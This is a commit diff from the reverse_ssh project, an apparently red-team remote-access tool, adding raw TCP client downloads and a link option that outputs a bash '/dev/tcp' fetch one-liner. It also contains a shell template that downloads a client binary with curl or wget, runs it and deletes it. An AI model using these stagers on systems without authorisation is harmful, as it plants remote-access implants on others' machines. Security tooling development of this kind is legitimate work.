Skip to content

Commit 44fcac9

Browse files
committed
Move webserver and downloader to better logging, add raw tcp downloading, add link command to generate bash/raw tcp download
1 parent 84783fe commit 44fcac9

File tree

13 files changed

+225
-78
lines changed

13 files changed

+225
-78
lines changed

cmd/server/main.go

+23-16
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,8 @@ func printHelp() {
2727
fmt.Println("\t--tls\t\t\tEnable TLS on socket (ssh/http over TLS)")
2828
fmt.Println("\t--tlscert\t\tTLS certificate path")
2929
fmt.Println("\t--tlskey\t\tTLS key path")
30-
fmt.Println("\t--webserver\t\tEnable webserver on the listen_address port")
30+
fmt.Println("\t--webserver\t\t(Depreciated) Enable webserver on the listen_address port")
31+
fmt.Println("\t--enable-client-downloads\t\tEnable webserver and raw TCP to download clients")
3132
fmt.Println("\t--external_address\tIf the external IP and port of the RSSH server is different from the listening address, set that here")
3233
fmt.Println("\t--timeout\t\tSet rssh client timeout (when a client is considered disconnected) defaults, in seconds, defaults to 5, if set to 0 timeout is disabled")
3334
fmt.Println(" Utility")
@@ -37,18 +38,19 @@ func printHelp() {
3738
func main() {
3839

3940
options, err := terminal.ParseLineValidFlags(strings.Join(os.Args, " "), 0, map[string]bool{
40-
"insecure": true,
41-
"tls": true,
42-
"tlscert": true,
43-
"tlskey": true,
44-
"external_address": true,
45-
"fingerprint": true,
46-
"webserver": true,
47-
"datadir": true,
48-
"h": true,
49-
"help": true,
50-
"timeout": true,
51-
"openproxy": true,
41+
"insecure": true,
42+
"tls": true,
43+
"tlscert": true,
44+
"tlskey": true,
45+
"external_address": true,
46+
"fingerprint": true,
47+
"webserver": true, // deprecated
48+
"enable-client-downloads": true,
49+
"datadir": true,
50+
"h": true,
51+
"help": true,
52+
"timeout": true,
53+
"openproxy": true,
5254
})
5355

5456
if err != nil {
@@ -128,11 +130,16 @@ func main() {
128130
tlscert, _ := options.GetArgString("tlscert")
129131
tlskey, _ := options.GetArgString("tlskey")
130132

131-
webserver := options.IsSet("webserver")
133+
enabledDownloads := options.IsSet("webserver") || options.IsSet("enable-client-downloads")
134+
135+
if options.IsSet("webserver") {
136+
log.Println("[WARNING] --webserver is deprecated, use --enable-client-downloads")
137+
}
138+
132139
connectBackAddress, err := options.GetArgString("external_address")
133140

134141
autogeneratedConnectBack := false
135-
if err != nil && webserver {
142+
if err != nil && enabledDownloads {
136143
autogeneratedConnectBack = true
137144

138145
connectBackAddress = listenAddress
@@ -169,5 +176,5 @@ func main() {
169176

170177
log.Println("connect back: ", connectBackAddress)
171178

172-
server.Run(listenAddress, dataDir, connectBackAddress, autogeneratedConnectBack, tlscert, tlskey, insecure, webserver, tls, openproxy, timeout)
179+
server.Run(listenAddress, dataDir, connectBackAddress, autogeneratedConnectBack, tlscert, tlskey, insecure, enabledDownloads, tls, openproxy, timeout)
173180
}

docker-entrypoint.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -24,4 +24,4 @@ if [ ! -z "$SEED_AUTHORIZED_KEYS" ]; then
2424
fi
2525

2626
cd /app/bin
27-
exec ./server --datadir /data --webserver --tls --external_address $EXTERNAL_ADDRESS :2222
27+
exec ./server --datadir /data --enable-client-downloads --tls --external_address $EXTERNAL_ADDRESS :2222

internal/server/commands/link.go

+30-21
Original file line numberDiff line numberDiff line change
@@ -25,27 +25,29 @@ var spaceMatcher = regexp.MustCompile(`[\s]+`)
2525
func (l *link) ValidArgs() map[string]string {
2626

2727
r := map[string]string{
28-
"s": "Set homeserver address, defaults to server --external_address if set, or server listen address if not",
29-
"l": "List currently active download links",
30-
"r": "Remove download link",
31-
"C": "Comment to add as the public key (acts as the name)",
32-
"goos": "Set the target build operating system (default runtime GOOS)",
33-
"goarch": "Set the target build architecture (default runtime GOARCH)",
34-
"goarm": "Set the go arm variable (not set by default)",
35-
"name": "Set the link download url/filename (default random characters)",
36-
"proxy": "Set connect proxy address to bake it",
37-
"tls": "Use TLS as the underlying transport",
38-
"ws": "Use plain http websockets as the underlying transport",
39-
"wss": "Use TLS websockets as the underlying transport",
40-
"stdio": "Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored",
41-
"http": "Use http polling as the underlying transport",
42-
"https": "Use https polling as the underlying transport",
43-
"shared-object": "Generate shared object file",
44-
"fingerprint": "Set RSSH server fingerprint will default to server public key",
45-
"garble": "Use garble to obfuscate the binary (requires garble to be installed)",
46-
"upx": "Use upx to compress the final binary (requires upx to be installed)",
47-
"no-lib-c": "Compile client without glibc",
48-
"sni": "When TLS is in use, set a custom SNI for the client to connect with",
28+
"s": "Set homeserver address, defaults to server --external_address if set, or server listen address if not",
29+
"l": "List currently active download links",
30+
"r": "Remove download link",
31+
"C": "Comment to add as the public key (acts as the name)",
32+
"goos": "Set the target build operating system (default runtime GOOS)",
33+
"goarch": "Set the target build architecture (default runtime GOARCH)",
34+
"goarm": "Set the go arm variable (not set by default)",
35+
"name": "Set the link download url/filename (default random characters)",
36+
"proxy": "Set connect proxy address to bake it",
37+
"tls": "Use TLS as the underlying transport",
38+
"ws": "Use plain http websockets as the underlying transport",
39+
"wss": "Use TLS websockets as the underlying transport",
40+
"stdio": "Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored",
41+
"http": "Use http polling as the underlying transport",
42+
"https": "Use https polling as the underlying transport",
43+
"shared-object": "Generate shared object file",
44+
"fingerprint": "Set RSSH server fingerprint will default to server public key",
45+
"garble": "Use garble to obfuscate the binary (requires garble to be installed)",
46+
"upx": "Use upx to compress the final binary (requires upx to be installed)",
47+
"no-lib-c": "Compile client without glibc",
48+
"sni": "When TLS is in use, set a custom SNI for the client to connect with",
49+
"working-directory": "Set download/working directory for automatic script (i.e doing curl https://<url>.sh)",
50+
"raw-download": "Download over raw TCP, outputs bash downloader rather than http",
4951
}
5052

5153
// Add duplicate flags for owners
@@ -117,6 +119,8 @@ func (l *link) Run(user *users.User, tty io.ReadWriter, line terminal.ParsedLine
117119
UPX: line.IsSet("upx"),
118120
Garble: line.IsSet("garble"),
119121
DisableLibC: line.IsSet("no-lib-c"),
122+
123+
RawDownload: line.IsSet("raw-download"),
120124
}
121125

122126
var err error
@@ -206,6 +210,11 @@ func (l *link) Run(user *users.User, tty io.ReadWriter, line terminal.ParsedLine
206210
}
207211
}
208212

213+
buildConfig.WorkingDirectory, err = line.GetArgString("working-directory")
214+
if err != nil && err != terminal.ErrFlagNotSet {
215+
return err
216+
}
217+
209218
if spaceMatcher.MatchString(buildConfig.Owners) {
210219
return errors.New("owners flag cannot contain any whitespace")
211220
}

internal/server/data/downloads.go

+3
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@ type Download struct {
2323
Hits int
2424
Version string
2525
FileSize float64
26+
27+
// Where to download the file to
28+
WorkingDirectory string
2629
}
2730

2831
func CreateDownload(file Download) error {

internal/server/server.go

+6-5
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ import (
1111
"github.com/NHAS/reverse_ssh/internal"
1212
"github.com/NHAS/reverse_ssh/internal/server/data"
1313
"github.com/NHAS/reverse_ssh/internal/server/multiplexer"
14+
"github.com/NHAS/reverse_ssh/internal/server/tcp"
1415
"github.com/NHAS/reverse_ssh/internal/server/webhooks"
1516
"github.com/NHAS/reverse_ssh/internal/server/webserver"
1617
"github.com/NHAS/reverse_ssh/pkg/mux"
@@ -46,10 +47,10 @@ func CreateOrLoadServerKeys(privateKeyPath string) (ssh.Signer, error) {
4647
return private, nil
4748
}
4849

49-
func Run(addr, dataDir, connectBackAddress string, autogeneratedConnectBack bool, TLSCertPath, TLSKeyPath string, insecure, enabledWebserver, enabletTLS, openproxy bool, timeout int) {
50+
func Run(addr, dataDir, connectBackAddress string, autogeneratedConnectBack bool, TLSCertPath, TLSKeyPath string, insecure, enabledDownloads, enabletTLS, openproxy bool, timeout int) {
5051
c := mux.MultiplexerConfig{
5152
Control: true,
52-
Downloads: enabledWebserver,
53+
Downloads: enabledDownloads,
5354
TLS: enabletTLS,
5455
TLSCertPath: TLSCertPath,
5556
TLSKeyPath: TLSKeyPath,
@@ -94,12 +95,12 @@ func Run(addr, dataDir, connectBackAddress string, autogeneratedConnectBack bool
9495

9596
log.Println("Server key fingerprint: ", internal.FingerprintSHA256Hex(private.PublicKey()))
9697

97-
if enabledWebserver {
98+
if enabledDownloads {
9899
if len(connectBackAddress) == 0 {
99100
connectBackAddress = addr
100101
}
101-
go webserver.Start(multiplexer.ServerMultiplexer.DownloadRequests(), connectBackAddress, autogeneratedConnectBack, "../", dataDir, private.PublicKey())
102-
102+
go webserver.Start(multiplexer.ServerMultiplexer.HTTPDownloadRequests(), connectBackAddress, autogeneratedConnectBack, "../", dataDir, private.PublicKey())
103+
go tcp.Start(multiplexer.ServerMultiplexer.TCPDownloadRequests())
103104
}
104105

105106
err = data.LoadDatabase(filepath.Join(dataDir, "data.db"))

internal/server/tcp/downloader.go

+69
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package tcp
2+
3+
import (
4+
"io"
5+
"log"
6+
"net"
7+
"os"
8+
"strings"
9+
"time"
10+
11+
"github.com/NHAS/reverse_ssh/internal/server/data"
12+
"github.com/NHAS/reverse_ssh/pkg/logger"
13+
)
14+
15+
func handleBashConn(conn net.Conn) {
16+
defer conn.Close()
17+
18+
downloadLog := logger.NewLog(conn.RemoteAddr().String())
19+
20+
conn.SetDeadline(time.Now().Add(3 * time.Second))
21+
// RAW header prefix + 64 bytes for file ID
22+
fileID := make([]byte, 67)
23+
24+
n, err := conn.Read(fileID)
25+
if err != nil {
26+
downloadLog.Warning("failed to download file using raw tcp: %s", err)
27+
return
28+
}
29+
30+
conn.SetDeadline(time.Time{})
31+
32+
if n == 0 || n < 3 {
33+
downloadLog.Warning("recieved malformed raw download request")
34+
return
35+
}
36+
37+
filename := strings.TrimSpace(string(fileID[3:n]))
38+
39+
f, err := data.GetDownload(filename)
40+
if err != nil {
41+
downloadLog.Warning("failed to get file %q: err %s", filename, err)
42+
return
43+
}
44+
45+
file, err := os.Open(f.FilePath)
46+
if err != nil {
47+
downloadLog.Warning("failed to open file %q for download: %s", f.FilePath, err)
48+
return
49+
}
50+
defer file.Close()
51+
52+
downloadLog.Info("downloaded %q using RAW tcp method", filename)
53+
54+
io.Copy(conn, file)
55+
}
56+
57+
func Start(listener net.Listener) {
58+
59+
log.Println("Started Raw Download Server")
60+
for {
61+
conn, err := listener.Accept()
62+
if err != nil {
63+
log.Printf("failed to accept raw download connection: %s", err)
64+
return
65+
}
66+
67+
go handleBashConn(conn)
68+
}
69+
}

internal/server/webserver/buildmanager.go

+15-1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import (
44
"bytes"
55
"errors"
66
"fmt"
7+
"net"
78
"os"
89
"os/exec"
910
"path/filepath"
@@ -39,6 +40,9 @@ type BuildConfig struct {
3940
UPX bool
4041
Garble bool
4142
DisableLibC bool
43+
RawDownload bool
44+
45+
WorkingDirectory string
4246
}
4347

4448
func Build(config BuildConfig) (string, error) {
@@ -75,7 +79,7 @@ func Build(config BuildConfig) (string, error) {
7579
}
7680

7781
var f data.Download
78-
82+
f.WorkingDirectory = config.WorkingDirectory
7983
f.CallbackAddress = config.ConnectBackAdress
8084

8185
filename, err := internal.RandomString(16)
@@ -237,6 +241,16 @@ func Build(config BuildConfig) (string, error) {
237241
return "", errors.New("cant write newly generated key to authorized controllee keys file: " + err.Error())
238242
}
239243

244+
if config.RawDownload {
245+
246+
host, port, err := net.SplitHostPort(f.CallbackAddress)
247+
if err != nil {
248+
return fmt.Sprintf(`bash -c "exec 3<>/dev/tcp/HOSTHERE/PORT_HERE; echo RAW%[1]s>&3; cat <&3" > %[1]s`, config.Name), nil
249+
}
250+
251+
return fmt.Sprintf(`bash -c "exec 3<>/dev/tcp/%s/%s; echo RAW%[3]s>&3; cat <&3" > %[3]s`, host, port, config.Name), nil
252+
}
253+
240254
return "http://" + DefaultConnectBack + "/" + config.Name, nil
241255
}
242256

internal/server/webserver/shellscripts/embed.go

+7-6
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,13 @@ import (
1111
var shellTemplates embed.FS
1212

1313
type Args struct {
14-
Protocol string
15-
Host string
16-
Port string
17-
Name string
18-
Arch string
19-
OS string
14+
Protocol string
15+
Host string
16+
Port string
17+
Name string
18+
Arch string
19+
OS string
20+
WorkingDirectory string
2021
}
2122

2223
func MakeTemplate(attributes Args, extension string) ([]byte, error) {

internal/server/webserver/shellscripts/templates/sh

+28-8
Original file line numberDiff line numberDiff line change
@@ -2,24 +2,44 @@
22
export PATH="$PATH:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin"
33

44

5+
6+
download () {
7+
8+
if command -v curl &> /dev/null; then
9+
curl {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}} -o "$1/{{.Name}}"
10+
elif command -v wget &> /dev/null; then
11+
wget -O "$1/{{.Name}}" {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}}
12+
fi
13+
14+
chmod +x "$1/{{.Name}}"
15+
}
16+
17+
{{if .WorkingDirectory}}
18+
19+
download "{{.WorkingDirectory}}"
20+
21+
"{{.WorkingDirectory}}/{{.Name}}"
22+
23+
rm "{{.WorkingDirectory}}/{{.Name}}"
24+
25+
{{else}}
26+
527
for i in "~" "." $(find / -maxdepth 3 -type d \( -perm -o+w \)); do
628

729
if ! touch $i/{{.Name}}; then
830
continue
931
fi
1032

11-
if command -v curl &> /dev/null; then
12-
curl {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}} -o "$i/{{.Name}}"
13-
elif command -v wget &> /dev/null; then
14-
wget -O "$i/{{.Name}}" {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}}
15-
fi
33+
download "$i"
1634

17-
chmod +x "$i/{{.Name}}"
1835
if ! "$i/{{.Name}}"; then
1936
continue
2037
fi
21-
#Poor mans fileless
38+
2239
rm "$i/{{.Name}}"
2340

2441
break
25-
done
42+
done
43+
44+
{{end}}
45+

0 commit comments

Comments
 (0)